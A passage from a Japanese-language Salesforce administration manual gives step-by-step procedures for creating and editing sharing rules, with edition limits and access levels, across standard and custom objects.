1. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
2. [取引先共有ルール] 関連リストで、変更するルールの横にある[編集]をクリッ

クします。
3. 必要に応じて、表示ラベルとルール名を変更します。
4. 所有者に基づくルールを選択した場合は、次の手順に進みます。

条件に基づくルールを選択した場合は、共有ルールに含めるためにレコード
が満たす必要がある条件を指定します。使用可能な項目は選択したオブジェ
クトによって異なり、値は数字か文字列にする必要があります。各検索条件
間のリレーションであるデフォルトの AND 条件を変更するには、[検索条件
ロジックを追加...] をクリックします。

5. [デフォルトの取引先、契約、および納入商品のアクセス権]の設定を選択しま
す。

6. 残りの項目で、共有取引先に関連付けられているレコードのアクセス設定を選択します。
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説明アクセス権の設定

この共有ルール以外のアクセス権が許可されていな
い場合、ユーザはレコードの参照や更新はできませ
ん。

非公開
(関連付けられた取引先責任者、商談、およびケース
でのみ使用可能)

レコードを参照することはできますが、更新はでき
ません。

参照のみ

レコードの参照と更新ができます。参照・更新

メモ: [取引先責任者のアクセス権]は、取引先責任者に対する組織の共有設定が [親レコードに連動]に
設定されているときは無効です。

7. [保存] をクリックします。

関連トピック:

共有ルール
共有ルールの考慮事項
共有ルールのカテゴリ

取引先テリトリー共有ルールの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

共有ルールを作成する
• 「共有の管理」

取引先テリトリー共有ルールは、テリトリー割り当てに基づいています。最大
で 300 件の取引先テリトリー共有ルールを定義できます。
1. 共有ルールに公開グループを含める場合は、適切なグループが作成されてい

ることを確認します。
2. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
3. [取引先テリトリー共有ルール] 関連リストで、[新規] をクリックします。
4. [表示ラベル名] と [ルール名] を入力します。表示ラベルは、ユーザインター

フェースに表示される共有ルールのラベルです。ルール名は API および管理
パッケージが使用する一意の名前です。

5. [説明] を入力します。この項目は、共有ルールについて説明します。省略可
能で、1000 文字まで入力できます。

6. [テリトリー内の取引先] 行で、最初のドロップダウンリストから [テリトリー]

または [テリトリーおよび下位テリトリー] を選択し、2 番目のドロップダウ
ンリストからテリトリーを選択します。

7. [共有先]行では、そのデータへのアクセス権を与えるユーザを指定します。最初のドロップダウンリスト
からカテゴリを選択し、次のドロップダウンリストまたは参照項目からユーザセットを選択します。

8. [デフォルトの取引先、契約、および納入商品のアクセス権] の設定を選択します。

670

共有ルールSalesforce 組織の設定および管理



9. 残りの項目で、共有取引先テリトリーに関連付けられているレコードのアクセス設定を選択します。

説明アクセス権の設定

この共有ルール以外のアクセス権が許可されていな
い場合、ユーザはレコードの参照や更新はできませ
ん。

非公開
(関連付けられた取引先責任者、商談、およびケース
でのみ使用可能)

レコードを参照することはできますが、更新はでき
ません。

参照のみ

レコードの参照と更新ができます。参照・更新

メモ: [取引先責任者のアクセス権]は、取引先責任者に対する組織の共有設定が [親レコードに連動]に
設定されているときは無効です。

10. [保存] をクリックします。

関連トピック:

共有ルール
共有ルールの考慮事項
共有ルールのカテゴリ

取引先テリトリー共有ルールの編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

共有ルールを編集する
• 「共有の管理」

取引先テリトリー共有ルールでは、共有アクセス設定を編集できますが、他の
設定は編集できません。
1. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
2. [取引先テリトリー共有ルール] 関連リストで、変更するルールの横にある[編

集] をクリックします。
3. 必要に応じて、表示ラベルとルール名を変更します。
4. ユーザの共有アクセス設定を選択します。

説明アクセス権の設定

この共有ルール以外のアクセス権が
許可されていない場合、ユーザはレ
コードの参照や更新はできません。

非公開
(関連付けられた取引先責任者、商
談、およびケースでのみ使用可能)

レコードを参照することはできます
が、更新はできません。

参照のみ

レコードの参照と更新ができます。参照・更新
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メモ: [取引先責任者のアクセス権]は、取引先責任者に対する組織の共有設定が [親レコードに連動]に
設定されているときは無効です。

5. [保存] をクリックします。

関連トピック:

共有ルール
共有ルールの考慮事項
共有ルールのカテゴリ

取引先責任者共有ルールの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

共有ルールを作成する
• 「共有の管理」

取引先責任者共有ルールは、レコードタイプや特定の項目値など、レコード所
有者または他の条件に基づいて作成できます。最大で300件の取引先責任者共有
ルールを定義し、条件に基づく共有ルールを最大で 50 件含めることができま
す。
1. 共有ルールに公開グループを含める場合は、適切なグループが作成されてい

ることを確認します。
2. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
3. [取引先責任者共有ルール] 関連リストで、[新規] をクリックします。
4. [表示ラベル名] と [ルール名] を入力します。表示ラベルは、ユーザインター

フェースに表示される共有ルールのラベルです。ルール名は API および管理
パッケージが使用する一意の名前です。

5. [説明] を入力します。この項目は、共有ルールについて説明します。省略可
能で、1000 文字まで入力できます。

6. ルールタイプを選択します。
7. 選択したルールタイプに応じて、次の手順を実行します。

• レコード所有者に基づく  — [所有者の所属] 行で、レコードを共有するユーザを指定し、最初のドロッ
プダウンリストから [カテゴリ] を選択し、次のドロップダウンリスト (または、組織に 200 を超える
キュー、グループ、ロール、またはテリトリーがある場合は参照項目) からユーザセットを選択します。

• 条件に基づく  — 共有ルールに含めるためにレコードが一致する必要がある [項目]、[演算子]、[値] 条件を
指定します。使用可能な項目は、選択したオブジェクトによって異なり、値は常に数字か文字列です。
各検索条件間のリレーションであるデフォルトの AND 条件を変更するには、[検索条件ロジックを追加...]

をクリックします。

メモ: 条件に基づく共有ルールでサポートされていない項目を使用するには、ワークフロールール
または Apex トリガを作成してその項目の値をテキスト項目や数値項目にコピーすると、コピー後
の項目を条件として使用できます。

8. [共有先]行では、そのデータへのアクセス権を与えるユーザを指定します。最初のドロップダウンリスト
からカテゴリを選択し、次のドロップダウンリストまたは参照項目からユーザセットを選択します。
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9. ユーザの共有アクセス設定を選択します。

説明アクセス権の設定

レコードを参照することはできますが、更新はでき
ません。

参照のみ

レコードの参照と更新ができます。参照・更新

10. [保存] をクリックします。

関連トピック:

共有ルール
共有ルールの考慮事項
共有ルールのカテゴリ

取引先責任者共有ルールの編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

共有ルールを編集する
• 「共有の管理」

所有者に基づく共有ルールの場合は、共有アクセス設定のみを編集できます。
他の条件に基づく共有ルールの場合は、条件と共有アクセス設定を編集できま
す。
1. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
2. [取引先責任者共有ルール] 関連リストで、変更するルールの横にある [編集]

をクリックします。
3. 必要に応じて、表示ラベルとルール名を変更します。
4. 所有者に基づくルールを選択した場合は、次の手順に進みます。

条件に基づくルールを選択した場合は、共有ルールに含めるためにレコード
が満たす必要がある条件を指定します。使用可能な項目は選択したオブジェ
クトによって異なり、値は数字か文字列にする必要があります。各検索条件
間のリレーションであるデフォルトの AND 条件を変更するには、[検索条件
ロジックを追加...] をクリックします。

5. ユーザの共有アクセス設定を選択します。

説明アクセス権の設定

レコードを参照することはできますが、更新はでき
ません。

参照のみ

レコードの参照と更新ができます。参照・更新
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6. [保存] をクリックします。

関連トピック:

共有ルール
共有ルールの考慮事項
共有ルールのカテゴリ

商談共有ルールの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

共有ルールを作成する
• 「共有の管理」

商談共有ルールは、レコードタイプや特定の項目値など、レコード所有者また
は他の条件に基づいて作成できます。最大で300件の商談共有ルールを定義し、
条件に基づく共有ルールを最大で 50 件含めることができます。
1. 共有ルールに公開グループを含める場合は、適切なグループが作成されてい

ることを確認します。
2. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
3. [商談共有ルール] 関連リストで、[新規] をクリックします。
4. [表示ラベル名] と [ルール名] を入力します。表示ラベルは、ユーザインター

フェースに表示される共有ルールのラベルです。ルール名は API および管理
パッケージが使用する一意の名前です。

5. [説明] を入力します。この項目は、共有ルールについて説明します。省略可
能で、1000 文字まで入力できます。

6. ルールタイプを選択します。
7. 選択したルールタイプに応じて、次の手順を実行します。

• レコード所有者に基づく  — [所有者の所属] 行で、レコードを共有するユーザを指定し、最初のドロッ
プダウンリストから [カテゴリ] を選択し、次のドロップダウンリスト (または、組織に 200 を超える
キュー、グループ、ロール、またはテリトリーがある場合は参照項目) からユーザセットを選択します。

• 条件に基づく  — 共有ルールに含めるためにレコードが一致する必要がある [項目]、[演算子]、[値] 条件を
指定します。使用可能な項目は、選択したオブジェクトによって異なり、値は常に数字か文字列です。
各検索条件間のリレーションであるデフォルトの AND 条件を変更するには、[検索条件ロジックを追加...]

をクリックします。

メモ: 条件に基づく共有ルールでサポートされていない項目を使用するには、ワークフロールール
または Apex トリガを作成してその項目の値をテキスト項目や数値項目にコピーすると、コピー後
の項目を条件として使用できます。

8. [共有先]行では、そのデータへのアクセス権を与えるユーザを指定します。最初のドロップダウンリスト
からカテゴリを選択し、次のドロップダウンリストまたは参照項目からユーザセットを選択します。

9. ユーザの共有アクセス設定を選択します。条件として所有権が指定されている、所有者に基づくルールま
たは条件に基づくルールの場合、[商談のアクセス権]レベルは、関連付けられた取引先に関係なく、グルー
プ、ロール、またはテリトリーのメンバーが所有する商談に適用されます。
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説明アクセス権の設定

レコードを参照することはできますが、更新はでき
ません。

参照のみ

レコードの参照と更新ができます。参照・更新

10. [保存] をクリックします。

関連トピック:

共有ルール
共有ルールの考慮事項
共有ルールのカテゴリ

商談共有ルールの編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

共有ルールを編集する
• 「共有の管理」

所有者に基づく共有ルールの場合は、共有アクセス設定のみを編集できます。
他の条件に基づく共有ルールの場合は、条件と共有アクセス設定を編集できま
す。
1. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
2. [商談共有ルール] 関連リストで、変更するルールの横にある [編集] をクリッ

クします。
3. 必要に応じて、表示ラベルとルール名を変更します。
4. 所有者に基づくルールを選択した場合は、次の手順に進みます。

条件に基づくルールを選択した場合は、共有ルールに含めるためにレコード
が満たす必要がある条件を指定します。使用可能な項目は選択したオブジェ
クトによって異なり、値は数字か文字列にする必要があります。各検索条件
間のリレーションであるデフォルトの AND 条件を変更するには、[検索条件
ロジックを追加...] をクリックします。

5. ユーザの共有アクセス設定を選択します。条件として所有権が指定されてい
る、所有者に基づくルールまたは条件に基づくルールの場合、[商談のアクセス権] レベルは、関連付けら
れた取引先に関係なく、グループ、ロール、またはテリトリーのメンバーが所有する商談に適用されます。

説明アクセス権の設定

レコードを参照することはできますが、更新はでき
ません。

参照のみ

レコードの参照と更新ができます。参照・更新
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6. [保存] をクリックします。

関連トピック:

共有ルール
共有ルールの考慮事項
共有ルールのカテゴリ

ケース共有ルールの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

共有ルールを作成する
• 「共有の管理」

ケース共有ルールは、レコードタイプや特定の項目値など、レコード所有者ま
たは他の条件に基づいて作成できます。最大で300件のケース共有ルールを定義
し、条件に基づく共有ルールを最大で 50 件含めることができます。
1. 共有ルールに公開グループを含める場合は、適切なグループが作成されてい

ることを確認します。
2. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
3. [ケース共有ルール] 関連リストで、[新規] をクリックします。
4. [表示ラベル名] と [ルール名] を入力します。表示ラベルは、ユーザインター

フェースに表示される共有ルールのラベルです。ルール名は API および管理
パッケージが使用する一意の名前です。

5. [説明] を入力します。この項目は、共有ルールについて説明します。省略可
能で、1000 文字まで入力できます。

6. ルールタイプを選択します。
7. 選択したルールタイプに応じて、次の手順を実行します。

• レコード所有者に基づく  — [所有者の所属] 行で、レコードを共有するユーザを指定し、最初のドロッ
プダウンリストから [カテゴリ] を選択し、次のドロップダウンリスト (または、組織に 200 を超える
キュー、グループ、ロール、またはテリトリーがある場合は参照項目) からユーザセットを選択します。

• 条件に基づく  — 共有ルールに含めるためにレコードが一致する必要がある [項目]、[演算子]、[値] 条件を
指定します。使用可能な項目は、選択したオブジェクトによって異なり、値は常に数字か文字列です。
各検索条件間のリレーションであるデフォルトの AND 条件を変更するには、[検索条件ロジックを追加...]

をクリックします。

メモ: 条件に基づく共有ルールでサポートされていない項目を使用するには、ワークフロールール
または Apex トリガを作成してその項目の値をテキスト項目や数値項目にコピーすると、コピー後
の項目を条件として使用できます。

8. [共有先]行では、そのデータへのアクセス権を与えるユーザを指定します。最初のドロップダウンリスト
からカテゴリを選択し、次のドロップダウンリストまたは参照項目からユーザセットを選択します。

9. ユーザの共有アクセス設定を選択します。
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説明アクセス権の設定

レコードを参照することはできますが、更新はでき
ません。

参照のみ

レコードの参照と更新ができます。参照・更新

10. [保存] をクリックします。

関連トピック:

共有ルール
共有ルールの考慮事項
共有ルールのカテゴリ

ケース共有ルールの編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

共有ルールを編集する
• 「共有の管理」

所有者に基づく共有ルールの場合は、共有アクセス設定のみを編集できます。
他の条件に基づく共有ルールの場合は、条件と共有アクセス設定を編集できま
す。
1. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
2. [ケース共有ルール] 関連リストで、変更するルールの横にある[編集]をクリッ

クします。
3. 必要に応じて、表示ラベルとルール名を変更します。
4. 所有者に基づくルールを選択した場合は、次の手順に進みます。

条件に基づくルールを選択した場合は、共有ルールに含めるためにレコード
が満たす必要がある条件を指定します。使用可能な項目は選択したオブジェ
クトによって異なり、値は数字か文字列にする必要があります。各検索条件
間のリレーションであるデフォルトの AND 条件を変更するには、[検索条件
ロジックを追加...] をクリックします。

5. ユーザの共有アクセス設定を選択します。

説明アクセス権の設定

レコードを参照することはできますが、更新はでき
ません。

参照のみ

レコードの参照と更新ができます。参照・更新

677

共有ルールSalesforce 組織の設定および管理



6. [保存] をクリックします。

関連トピック:

共有ルール
共有ルールの考慮事項
共有ルールのカテゴリ

キャンペーン共有ルールの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition (追加購
入で使用可能)、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

共有ルールを作成する
• 「共有の管理」

キャンペーン共有ルールは、レコードタイプや特定の項目値など、レコード所
有者または他の条件に基づいて作成できます。最大で300件のキャンペーン共有
ルールを定義し、条件に基づく共有ルールを最大で 50 件含めることができま
す。
1. 共有ルールに公開グループを含める場合は、適切なグループが作成されてい

ることを確認します。
2. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
3. [キャンペーン共有ルール] 関連リストで、[新規] をクリックします。
4. [表示ラベル名] と [ルール名] を入力します。表示ラベルは、ユーザインター

フェースに表示される共有ルールのラベルです。ルール名は API および管理
パッケージが使用する一意の名前です。

5. [説明] を入力します。この項目は、共有ルールについて説明します。省略可
能で、1000 文字まで入力できます。

6. ルールタイプを選択します。
7. 選択したルールタイプに応じて、次の手順を実行します。

• レコード所有者に基づく  — [所有者の所属] 行で、レコードを共有するユーザを指定し、最初のドロッ
プダウンリストから [カテゴリ] を選択し、次のドロップダウンリスト (または、組織に 200 を超える
キュー、グループ、ロール、またはテリトリーがある場合は参照項目) からユーザセットを選択します。

• 条件に基づく  — 共有ルールに含めるためにレコードが一致する必要がある [項目]、[演算子]、[値] 条件を
指定します。使用可能な項目は、選択したオブジェクトによって異なり、値は常に数字か文字列です。
各検索条件間のリレーションであるデフォルトの AND 条件を変更するには、[検索条件ロジックを追加...]

をクリックします。

メモ: 条件に基づく共有ルールでサポートされていない項目を使用するには、ワークフロールール
または Apex トリガを作成してその項目の値をテキスト項目や数値項目にコピーすると、コピー後
の項目を条件として使用できます。

8. [共有先]行では、そのデータへのアクセス権を与えるユーザを指定します。最初のドロップダウンリスト
からカテゴリを選択し、次のドロップダウンリストまたは参照項目からユーザセットを選択します。

9. ユーザの共有アクセス設定を選択します。
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説明アクセス権の設定

レコードを参照することはできますが、更新はできません。参照のみ

レコードの参照と更新ができます。参照・更新

選択したグループ、ロール、またはテリトリーのユーザは、レコード
の所有者と同様に、レコードを参照、編集、移動、削除、および共有
できます。
フルアクセスの共有ルールを使用すると、ユーザは、活動での組織全
体の共有設定が [親レコードに連動]になっている場合、そのレコード

フルアクセス

に関連付けられた活動を参照、編集、削除し、閉じることもできま
す。

10. [保存] をクリックします。

関連トピック:

共有ルール
共有ルールの考慮事項
共有ルールのカテゴリ

キャンペーン共有ルールの編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition (追加購
入で使用可能)、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

共有ルールを編集する
• 「共有の管理」

所有者に基づく共有ルールの場合は、共有アクセス設定のみを編集できます。
他の条件に基づく共有ルールの場合は、条件と共有アクセス設定を編集できま
す。
1. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
2. [キャンペーン共有ルール] 関連リストで、変更するルールの横にある [編集]

をクリックします。
3. 必要に応じて、表示ラベルとルール名を変更します。
4. 所有者に基づくルールを選択した場合は、次の手順に進みます。

条件に基づくルールを選択した場合は、共有ルールに含めるためにレコード
が満たす必要がある条件を指定します。使用可能な項目は選択したオブジェ
クトによって異なり、値は数字か文字列にする必要があります。各検索条件
間のリレーションであるデフォルトの AND 条件を変更するには、[検索条件
ロジックを追加...] をクリックします。

5. ユーザの共有アクセス設定を選択します。

説明アクセス権の設定

レコードを参照することはできますが、更新はできません。参照のみ
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説明アクセス権の設定

レコードの参照と更新ができます。参照・更新

選択したグループ、ロール、またはテリトリーのユーザは、レコード
の所有者と同様に、レコードを参照、編集、移動、削除、および共有
できます。
フルアクセスの共有ルールを使用すると、ユーザは、活動での組織全
体の共有設定が [親レコードに連動]になっている場合、そのレコード

フルアクセス

に関連付けられた活動を参照、編集、削除し、閉じることもできま
す。

6. [保存] をクリックします。

関連トピック:

共有ルール
共有ルールの考慮事項
共有ルールのカテゴリ

クイックテキスト共有ルールの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

共有ルールを作成する
• 「共有の管理」

クイックテキスト共有ルールを作成する手順は、次のとおりです。
1. 共有ルールに公開グループを含める場合は、適切なグループが作成されてい

ることを確認します。
2. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
3. [クイックテキスト共有ルール] 関連リストで、[新規] をクリックします。
4. [表示ラベル名] と [ルール名] を入力します。表示ラベルは、ユーザインター

フェースに表示される共有ルールのラベルです。ルール名は API および管理
パッケージが使用する一意の名前です。

5. [説明] を入力します。この項目は、共有ルールについて説明します。省略可
能で、1000 文字まで入力できます。

6. [クイックテキスト: 所有するメンバー] 行では、最初のドロップダウンリス
トからカテゴリを選択し、次のドロップダウンリストからユーザセットを選
択します。

7. [共有先]行では、そのデータへのアクセス権を与えるユーザを指定します。最初のドロップダウンリスト
からカテゴリを選択し、次のドロップダウンリストまたは参照項目からユーザセットを選択します。

8. ユーザの共有アクセス設定を選択します。
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説明アクセス権の設定

レコードを参照することはできますが、更新はでき
ません。

参照のみ

レコードの参照と更新ができます。参照・更新

9. [保存] をクリックします。

関連トピック:

共有ルール
共有ルールの考慮事項
共有ルールのカテゴリ

カスタムオブジェクト共有ルールの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

共有ルールを作成する
• 「共有の管理」

カスタムオブジェクト共有ルールは、レコードタイプや特定の項目値など、レ
コード所有者または他の条件に基づいて作成できます。最大で300件のカスタム
オブジェクト共有ルールを定義し、条件に基づく共有ルールを最大で 50 件含め
ることができます。
1. 共有ルールに公開グループを含める場合は、適切なグループが作成されてい

ることを確認します。
2. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
3. カスタムオブジェクトの [共有ルール] 関連リストで、[新規] をクリックしま

す。
4. 表示ラベルとルール名を入力します。表示ラベルは、ユーザインターフェー

スに表示される共有ルールのラベルです。ルール名はAPIおよび管理パッケー
ジが使用する一意の名前です。

5. [説明] を入力します。この項目は、共有ルールについて説明します。省略可
能で、1000 文字まで入力できます。

6. ルールタイプを選択します。
7. 選択したルールタイプに応じて、次の手順を実行します。

• レコード所有者に基づく  — [所有者の所属] 行で、レコードを共有するユーザを指定し、最初のドロッ
プダウンリストから [カテゴリ] を選択し、次のドロップダウンリスト (または、組織に 200 を超える
キュー、グループ、ロール、またはテリトリーがある場合は参照項目) からユーザセットを選択します。

• 条件に基づく  — 共有ルールに含めるためにレコードが一致する必要がある [項目]、[演算子]、[値] 条件を
指定します。使用可能な項目は、選択したオブジェクトによって異なり、値は常に数字か文字列です。
各検索条件間のリレーションであるデフォルトの AND 条件を変更するには、[検索条件ロジックを追加...]

をクリックします。
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メモ: 条件に基づく共有ルールでサポートされていない項目を使用するには、ワークフロールール
または Apex トリガを作成してその項目の値をテキスト項目や数値項目にコピーすると、コピー後
の項目を条件として使用できます。

8. [共有先]行では、そのデータへのアクセス権を与えるユーザを指定します。最初のドロップダウンリスト
からカテゴリを選択し、次のドロップダウンリストまたは参照項目からユーザセットを選択します。

9. ユーザの共有アクセス設定を選択します。

説明アクセス権の設定

レコードを参照することはできますが、更新はでき
ません。

参照のみ

レコードの参照と更新ができます。参照・更新

10. [保存] をクリックします。

関連トピック:

共有ルール
共有ルールの考慮事項
共有ルールのカテゴリ

カスタムオブジェクト共有ルールの編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

共有ルールを編集する
• 「共有の管理」

所有者に基づく共有ルールの場合は、共有アクセス設定のみを編集できます。
他の条件に基づく共有ルールの場合は、条件と共有アクセス設定を編集できま
す。
1. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
2. カスタムオブジェクトの [共有ルール] 関連リストで、変更するルールの横に

ある [編集] をクリックします。
3. 必要に応じて、表示ラベルとルール名を変更します。
4. 所有者に基づくルールを選択した場合は、次の手順に進みます。

条件に基づくルールを選択した場合は、共有ルールに含めるためにレコード
が満たす必要がある条件を指定します。使用可能な項目は選択したオブジェ
クトによって異なり、値は数字か文字列にする必要があります。各検索条件
間のリレーションであるデフォルトの AND 条件を変更するには、[検索条件
ロジックを追加...] をクリックします。

5. ユーザの共有アクセス設定を選択します。
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説明アクセス権の設定

レコードを参照することはできますが、更新はでき
ません。

参照のみ

レコードの参照と更新ができます。参照・更新

6. [保存] をクリックします。

関連トピック:

共有ルール
共有ルールの考慮事項
共有ルールのカテゴリ

注文共有ルールの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

共有ルールを作成する
• 「共有の管理」

注文共有ルールは、レコードタイプや特定の項目値など、レコード所有者また
は他の条件に基づいて作成できます。最大で300件の注文共有ルールを定義し、
条件に基づく共有ルールを最大で 50 件含めることができます。
1. 共有ルールに公開グループを含める場合は、適切なグループが作成されてい

ることを確認します。
2. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
3. [注文共有ルール] 関連リストで、[新規] をクリックします。
4. [表示ラベル名] と [ルール名] を入力します。表示ラベルは、ユーザインター

フェースに表示される共有ルールのラベルです。ルール名は API および管理
パッケージが使用する一意の名前です。

5. [説明] を入力します。この項目は、共有ルールについて説明します。省略可
能で、1000 文字まで入力できます。

6. ルールタイプを選択します。
7. 選択したルールタイプに応じて、次の手順を実行します。

• レコード所有者に基づく  — [所有者の所属] 行で、レコードを共有するユーザを指定し、最初のドロッ
プダウンリストから [カテゴリ] を選択し、次のドロップダウンリスト (または、組織に 200 を超える
キュー、グループ、ロール、またはテリトリーがある場合は参照項目) からユーザセットを選択します。

• 条件に基づく  — 共有ルールに含めるためにレコードが一致する必要がある [項目]、[演算子]、[値] 条件を
指定します。使用可能な項目は、選択したオブジェクトによって異なり、値は常に数字か文字列です。
各検索条件間のリレーションであるデフォルトの AND 条件を変更するには、[検索条件ロジックを追加...]

をクリックします。
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メモ: 条件に基づく共有ルールでサポートされていない項目を使用するには、ワークフロールール
または Apex トリガを作成してその項目の値をテキスト項目や数値項目にコピーすると、コピー後
の項目を条件として使用できます。

8. [共有先]行では、そのデータへのアクセス権を与えるユーザを指定します。最初のドロップダウンリスト
からカテゴリを選択し、次のドロップダウンリストまたは参照項目からユーザセットを選択します。

9. ユーザの共有アクセス設定を選択します。

説明アクセス権の設定

レコードを参照することはできますが、更新はでき
ません。

参照のみ

レコードの参照と更新ができます。参照・更新

10. [保存] をクリックします。

注文共有ルールの編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

共有ルールを編集する
• 「共有の管理」

所有者に基づく共有ルールの場合は、共有アクセス設定のみを編集できます。
他の条件に基づく共有ルールの場合は、条件と共有アクセス設定を編集できま
す。
1. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
2. [注文共有ルール] 関連リストで、変更するルールの横にある [編集] をクリッ

クします。
3. 必要に応じて、表示ラベルとルール名を変更します。
4. 所有者に基づくルールを選択した場合は、次の手順に進みます。

条件に基づくルールを選択した場合は、共有ルールに含めるためにレコード
が満たす必要がある条件を指定します。使用可能な項目は選択したオブジェ
クトによって異なり、値は数字か文字列にする必要があります。各検索条件
間のリレーションであるデフォルトの AND 条件を変更するには、[検索条件
ロジックを追加...] をクリックします。

5. ユーザの共有アクセス設定を選択します。

説明アクセス権の設定

レコードを参照することはできますが、更新はでき
ません。

参照のみ

レコードの参照と更新ができます。参照・更新
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6. [保存] をクリックします。

ユーザプロビジョニング要求共有ルールの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ユーザプロビジョニング
要求共有ルールを作成す
る
• 「共有の管理」および

「Identity 機能を使用」

ユーザプロビジョニング要求共有ルールは、レコード所有者のみに基づきます。
条件に基づくユーザプロビジョニング要求共有ルールは作成できません。ユー
ザプロビジョニング要求共有ルールは 300 件まで定義できます。
1. 共有ルールに公開グループを含める場合は、適切なグループが作成されてい

ることを確認します。
2. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
3. [ユーザプロビジョニング要求共有ルール] 関連リストで、[新規] をクリック

します。
4. [表示ラベル名] と [ルール名] を入力します。表示ラベルは、ユーザインター

フェースに表示される共有ルールのラベルです。ルール名は API および管理
パッケージが使用する一意の名前です。

5. [説明] を入力します。この項目は、共有ルールについて説明します。省略可
能で、1000 文字まで入力できます。

6. [所有者の所属]行で、共有するレコードを所有するユーザを指定します。最
初のドロップダウンリストからカテゴリを選択し、2 つ目のドロップダウン
リスト (または、組織に 200 を超えるキュー、グループ、ロール、テリトリー
がある場合は参照項目) からユーザセットを選択します。

7. [共有先]行では、そのデータへのアクセス権を与えるユーザを指定します。最初のドロップダウンリスト
からカテゴリを選択し、次のドロップダウンリストまたは参照項目からユーザセットを選択します。

8. ユーザの共有アクセス設定を選択します。

説明アクセス権の設定

レコードを参照することはできますが、更新はでき
ません。

参照のみ

レコードの参照と更新ができます。参照・更新

9. [保存] をクリックします。

関連トピック:

共有ルール
共有ルールの考慮事項
共有ルールのカテゴリ
ユーザプロビジョニング要求共有ルールの編集
接続アプリケーションのユーザプロビジョニング
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ユーザプロビジョニング要求共有ルールの編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

共有ルールを編集する
• 「共有の管理」

所有者に基づく共有ルールの場合は、共有アクセス設定のみを編集できます。
条件に基づくユーザプロビジョニング要求共有ルールは作成できません。
1. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
2. [ユーザプロビジョニング要求共有ルール] 関連リストで、変更するルールの

横にある [編集] をクリックします。
3. 必要に応じて、表示ラベルとルール名を変更します。
4. ユーザの共有アクセス設定を選択します。

説明アクセス権の設定

レコードを参照することはできます
が、更新はできません。

参照のみ

レコードの参照と更新ができます。参照・更新

5. [保存] をクリックします。

関連トピック:

共有ルール
共有ルールの考慮事項
共有ルールのカテゴリ
接続アプリケーションのユーザプロビジョニング

作業指示共有ルールの作成

エディション

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

共有ルールを作成する
• 「共有の管理」

作業指示を有効にする
• 「アプリケーションの

カスタマイズ」

作業指示共有ルールは、レコード所有者、またはレコードタイプ、特定の項目
値などの他の条件に基づいています。最大で 300 件の作業指示共有ルールを定義
